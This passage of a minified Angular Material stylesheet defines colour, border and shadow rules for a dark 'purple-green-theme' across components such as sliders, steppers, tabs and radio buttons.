.mat-paginator-last{border-color:#ffffff80}.purple-green-theme .mat-progress-bar-background{fill:#432c4d}.purple-green-theme .mat-progress-bar-buffer{background-color:#432c4d}.purple-green-theme .mat-progress-bar-fill:after{background-color:#7b1fa2}.purple-green-theme .mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#3e6050}.purple-green-theme .mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#3e6050}.purple-green-theme .mat-progress-bar.mat-accent .mat-progress-bar-fill:after{background-color:#69f0ae}.purple-green-theme .mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#613532}.purple-green-theme .mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#613532}.purple-green-theme .mat-progress-bar.mat-warn .mat-progress-bar-fill:after{background-color:#f44336}.purple-green-theme .mat-progress-spinner circle,.purple-green-theme .mat-spinner circle{stroke:#7b1fa2}.purple-green-theme .mat-progress-spinner.mat-accent circle,.purple-green-theme .mat-spinner.mat-accent circle{stroke:#69f0ae}.purple-green-theme .mat-progress-spinner.mat-warn circle,.purple-green-theme .mat-spinner.mat-warn circle{stroke:#f44336}.purple-green-theme .mat-radio-outer-circle{border-color:#ffffffb3}.purple-green-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#7b1fa2}.purple-green-theme .mat-radio-button.mat-primary .mat-radio-inner-circle,.purple-green-theme .mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.purple-green-theme .mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.purple-green-theme .mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#7b1fa2}.purple-green-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#69f0ae}.purple-green-theme .mat-radio-button.mat-accent .mat-radio-inner-circle,.purple-green-theme .mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.purple-green-theme .mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.purple-green-theme .mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#69f0ae}.purple-green-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}.purple-green-theme .mat-radio-button.mat-warn .mat-radio-inner-circle,.purple-green-theme .mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.purple-green-theme .mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.purple-green-theme .mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}.purple-green-theme .mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle,.purple-green-theme .mat-radio-button.mat-radio-disabled .mat-radio-outer-circle{border-color:#ffffff80}.purple-green-theme .mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element,.purple-green-theme .mat-radio-button.mat-radio-disabled .mat-radio-inner-circle{background-color:#ffffff80}.purple-green-theme .mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:#ffffff80}.purple-green-theme .mat-radio-button .mat-ripple-element{background-color:#fff}.purple-green-theme .mat-select-value{color:#fff}.purple-green-theme .mat-select-placeholder,.purple-green-theme .mat-select-disabled .mat-select-value{color:#ffffff80}.purple-green-theme .mat-select-arrow{color:#ffffffb3}.purple-green-theme .mat-select-panel{background:#424242}.purple-green-theme .mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px #0003,0 4px 5px #00000024,0 1px 10px #0000001f}.purple-green-theme .mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(255,255,255,.12)}.purple-green-theme .mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#7b1fa2}.purple-green-theme .mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#69f0ae}.purple-green-theme .mat-form-field.mat-focused.mat-warn .mat-select-arrow,.purple-green-theme .mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}.purple-green-theme .mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:#ffffff80}.purple-green-theme .mat-drawer-container{background-color:#303030;color:#fff}.purple-green-theme .mat-drawer{background-color:#424242;color:#fff}.purple-green-theme .mat-drawer.mat-drawer-push{background-color:#424242}.purple-green-theme .mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px #0003,0 16px 24px 2px #00000024,0 6px 30px 5px #0000001f}.purple-green-theme .mat-drawer-side{border-right:solid 1px rgba(255,255,255,.12)}.purple-green-theme .mat-drawer-side.mat-drawer-end,.purple-green-theme [dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(255,255,255,.12);border-right:none}.purple-green-theme [dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(255,255,255,.12)}.purple-green-theme .mat-drawer-backdrop.mat-drawer-shown{background-color:#bdbdbd99}.purple-green-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#69f0ae}.purple-green-theme .mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:#69f0ae8a}.purple-green-theme .mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#69f0ae}.purple-green-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#7b1fa2}.purple-green-theme .mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:#7b1fa28a}.purple-green-theme .mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#7b1fa2}.purple-green-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}.purple-green-theme .mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:#f443368a}.purple-green-theme .mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}.purple-green-theme .mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#fff}.purple-green-theme .mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px #0003,0 1px 1px #00000024,0 1px 3px #0000001f;background-color:#bdbdbd}.purple-green-theme .mat-slide-toggle-bar{background-color:#ffffff80}.purple-green-theme .mat-slider-track-background{background-color:#ffffff4d}.purple-green-theme .mat-slider.mat-primary .mat-slider-track-fill,.purple-green-theme .mat-slider.mat-primary .mat-slider-thumb,.purple-green-theme .mat-slider.mat-primary .mat-slider-thumb-label{background-color:#7b1fa2}.purple-green-theme .mat-slider.mat-primary .mat-slider-thumb-label-text{color:#fff}.purple-green-theme .mat-slider.mat-primary .mat-slider-focus-ring{background-color:#7b1fa233}.purple-green-theme .mat-slider.mat-accent .mat-slider-track-fill,.purple-green-theme .mat-slider.mat-accent .mat-slider-thumb,.purple-green-theme .mat-slider.mat-accent .mat-slider-thumb-label{background-color:#69f0ae}.purple-green-theme .mat-slider.mat-accent .mat-slider-thumb-label-text{color:#000000de}.purple-green-theme .mat-slider.mat-accent .mat-slider-focus-ring{background-color:#69f0ae33}.purple-green-theme .mat-slider.mat-warn .mat-slider-track-fill,.purple-green-theme .mat-slider.mat-warn .mat-slider-thumb,.purple-green-theme .mat-slider.mat-warn .mat-slider-thumb-label{background-color:#f44336}.purple-green-theme .mat-slider.mat-warn .mat-slider-thumb-label-text{color:#fff}.purple-green-theme .mat-slider.mat-warn .mat-slider-focus-ring{background-color:#f4433633}.purple-green-theme .mat-slider:hover .mat-slider-track-background,.purple-green-theme .mat-slider.cdk-focused .mat-slider-track-background,.purple-green-theme .mat-slider.mat-slider-disabled .mat-slider-track-background,.purple-green-theme .mat-slider.mat-slider-disabled .mat-slider-track-fill,.purple-green-theme .mat-slider.mat-slider-disabled .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-disabled:hover .mat-slider-track-background{background-color:#ffffff4d}.purple-green-theme .mat-slider.mat-slider-min-value .mat-slider-focus-ring{background-color:#ffffff1f}.purple-green-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:#fff}.purple-green-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:#ffffff4d}.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:#ffffff4d;background-color:transparent}.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb{border-color:#ffffff4d}.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb,.purple-green-theme .mat-slider.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb{border-color:#ffffff4d}.purple-green-theme .mat-slider-has-ticks .mat-slider-wrapper:after{border-color:#ffffffb3}.purple-green-theme .mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.purple-green-theme .mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(255,255,255,.7),rgba(255,255,255,.7) 2px,transparent 0,transparent)}.purple-green-theme .mat-step-header.cdk-keyboard-focused,.purple-green-theme .mat-step-header.cdk-program-focused,.purple-green-theme .mat-step-header:hover:not([aria-disabled]),.purple-green-theme .mat-step-header:hover[aria-disabled=false]{background-color:#ffffff0a}.purple-green-theme .mat-step-header:hover[aria-disabled=true]{cursor:default}@media (hover: none){.purple-green-theme .mat-step-header:hover{background:none}}.purple-green-theme .mat-step-header .mat-step-label,.purple-green-theme .mat-step-header .mat-step-optional{color:#ffffffb3}.purple-green-theme .mat-step-header .mat-step-icon{background-color:#ffffffb3;color:#fff}.purple-green-theme .mat-step-header .mat-step-icon-selected,.purple-green-theme .mat-step-header .mat-step-icon-state-done,.purple-green-theme .mat-step-header .mat-step-icon-state-edit{background-color:#7b1fa2;color:#fff}.purple-green-theme .mat-step-header.mat-accent .mat-step-icon{color:#000000de}.purple-green-theme .mat-step-header.mat-accent .mat-step-icon-selected,.purple-green-theme .mat-step-header.mat-accent .mat-step-icon-state-done,.purple-green-theme .mat-step-header.mat-accent .mat-step-icon-state-edit{background-color:#69f0ae;color:#000000de}.purple-green-theme .mat-step-header.mat-warn .mat-step-icon{color:#fff}.purple-green-theme .mat-step-header.mat-warn .mat-step-icon-selected,.purple-green-theme .mat-step-header.mat-warn .mat-step-icon-state-done,.purple-green-theme .mat-step-header.mat-warn .mat-step-icon-state-edit{background-color:#f44336;color:#fff}.purple-green-theme .mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}.purple-green-theme .mat-step-header .mat-step-label.mat-step-label-active{color:#fff}.purple-green-theme .mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}.purple-green-theme .mat-stepper-horizontal,.purple-green-theme .mat-stepper-vertical{background-color:#424242}.purple-green-theme .mat-stepper-vertical-line:before{border-left-color:#ffffff1f}.purple-green-theme .mat-horizontal-stepper-header:before,.purple-green-theme .mat-horizontal-stepper-header:after,.purple-green-theme .mat-stepper-horizontal-line{border-top-color:#ffffff1f}.purple-green-theme .mat-sort-header-arrow{color:#c6c6c6}.purple-green-theme .mat-tab-nav-bar,.purple-green-theme .mat-tab-header{border-bottom:1px solid rgba(255,255,255,.12)}.purple-green-theme .mat-tab-group-inverted-header .mat-tab-nav-bar,.purple-green-theme .mat-tab-group-inverted-header .mat-tab-header{border-top:1px solid rgba(255,255,255,.12);border-bottom:none}.purple-green-theme .mat-tab-label,.purple-green-theme .mat-tab-link{color:#fff}.purple-green-theme .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-link.mat-tab-disabled{color:#ffffff80}.purple-green-theme .mat-tab-header-pagination-chevron{border-color:#fff}.purple-green-theme .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#ffffff80}.purple-green-theme .mat-tab-group[class*=mat-background-]>.mat-tab-header,.purple-green-theme .mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}.purple-green-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#9c27b04d}.purple-green-theme .mat-tab-group.mat-primary .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#7b1fa2}.purple-green-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-group.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-primary.mat-background-primary>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.purple-green-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#b9f6ca4d}.purple-green-theme .mat-tab-group.mat-accent .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#69f0ae}.purple-green-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-group.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-accent.mat-background-accent>.mat-tab-link-container .mat-ink-bar{background-color:#000000de}.purple-green-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.purple-green-theme .mat-tab-group.mat-warn .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}.purple-green-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-group.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-header .mat-ink-bar,.purple-green-theme .mat-tab-nav-bar.mat-warn.mat-background-warn>.mat-tab-link-container .mat-ink-bar{background-color:#fff}.purple-green-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#9c27b04d}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination{background-color:#7b1fa2}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link{color:#fff}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-primary>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.purple-green-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#b9f6ca4d}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination{background-color:#69f0ae}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link{color:#000000de}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#0006}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-focus-indicator:before{border-color:#000000de}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#000;opacity:.4}.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-accent>.mat-tab-header-pagination .mat-ripple-element{background-color:#000;opacity:.12}.purple-green-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-group.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.purple-green-theme .mat-tab-nav-bar.mat-background-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:#ffcdd24d}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination{background-color:#f44336}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link{color:#fff}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-label.mat-tab-disabled,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-tab-link.mat-tab-disabled{color:#fff6}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-focus-indicator:before,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-focus-indicator:before{border-color:#fff}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:#fff;opacity:.4}.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-group.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-link-container .mat-ripple-element,.purple-green-theme .mat-tab-nav-bar.mat-background-warn>.mat-tab-header-pagination .mat-ripple-element{background-color:#fff;opacity:.12}.purple-green-theme 